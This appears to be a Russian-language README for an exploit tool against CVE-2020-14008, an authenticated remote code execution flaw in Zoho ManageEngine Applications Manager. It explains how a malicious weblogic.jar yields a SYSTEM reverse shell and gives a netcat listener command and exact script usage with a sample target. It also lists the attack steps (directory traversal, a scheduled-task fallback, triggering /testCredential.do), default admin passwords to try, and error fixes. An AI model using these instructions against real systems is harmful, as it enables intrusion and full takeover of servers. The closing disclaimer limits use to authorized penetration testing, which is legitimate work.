
CVE-2020-14008 - ManageEngine Applications Manager RCE (удалённое выполнение кода)
| Деталь | Значение |
|---|
| CVE | CVE-2020-14008 |
| CVSS | 7.2 (Высокий) |
| Тип | Аутентифицированное RCE / Произвольная загрузка файлов |
| Продукт | Zoho ManageEngine Applications Manager |
| Затронутые версии | Версия 14720 и ниже |
| Требование | Действительные учетные данные администратора |
| Результат | Reverse shell уровня SYSTEM |
Эксплойт использует функцию проверки учетных данных монитора Weblogic. Аутентифицированный администратор загружает вредоносный файл weblogic.jar в ожидаемый путь библиотеки Weblogic. Когда запускается проверка учетных данных, ManageEngine загружает weblogic.jndi.Environment из загруженного JAR через JarLoader.loadClass() и newInstance(), выполняя произвольный Java-код.
javac и jar в PATH)nc (netcat) для приема reverse shellpip3 install requests urllib3 lxml
nc -lvnp 1337
python3 cve-2020-14008.py <URL> <USERNAME> <PASSWORD> <LHOST> <LPORT>
# Базовый
python3 cve-2020-14008.py https://192.168.100.2:8443 admin admin 192.168.100.3 1337
weblogic.jndi.Environment) с reverse shell в weblogic.jarclasses/weblogic/version8/ через обход каталога (запасной вариант: создайте запланированную задачу для его перемещения)/testCredential.do, которая загружает и создает экземпляр вредоносного класса| Имя пользователя | Пароль |
|---|---|
| admin | admin |
| admin | password |
| administrator | administrator |
| guest | guest |
| Ошибка | Исправление |
|---|---|
release version 7 not supported | Java 21+ убрала цель Java 7. Скрипт использует --release 8 |
FileNotFoundError: weblogic.jar | Ошибка компиляции JAR. Убедитесь, что javac и jar находятся в PATH |
No valid response from used session | Неверные учетные данные |
Actionname not found | Не удалось создать задачу, проверьте права администратора |
Этот инструмент предоставляется только для авторизованного тестирования на проникновение и исследований безопасности. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет разрешения, является незаконным.